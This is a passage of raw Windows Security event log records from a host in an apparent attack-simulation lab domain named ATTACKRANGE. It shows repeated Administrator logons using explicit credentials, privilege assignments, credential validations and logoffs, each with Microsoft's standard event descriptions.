credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245502 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245501 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB3E90 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245500 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB3E90 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245499 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245498 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245545 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB9351 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245544 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB9351 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245543 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245542 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245541 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB83BE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245540 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB83BE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245539 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245538 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245537 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB75A0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245536 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB75A0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245535 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245534 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245533 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245532 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB70DE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245531 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB70DE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245530 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245529 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245528 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6FE3 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245527 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB379E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245526 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB3E90 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245525 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6FE3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245524 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6FE3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245523 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245522 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245521 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6FB2 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245520 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6FB2 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245519 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xB6FB2 - Linked Logon ID: 0x0 - Network Account Name: - 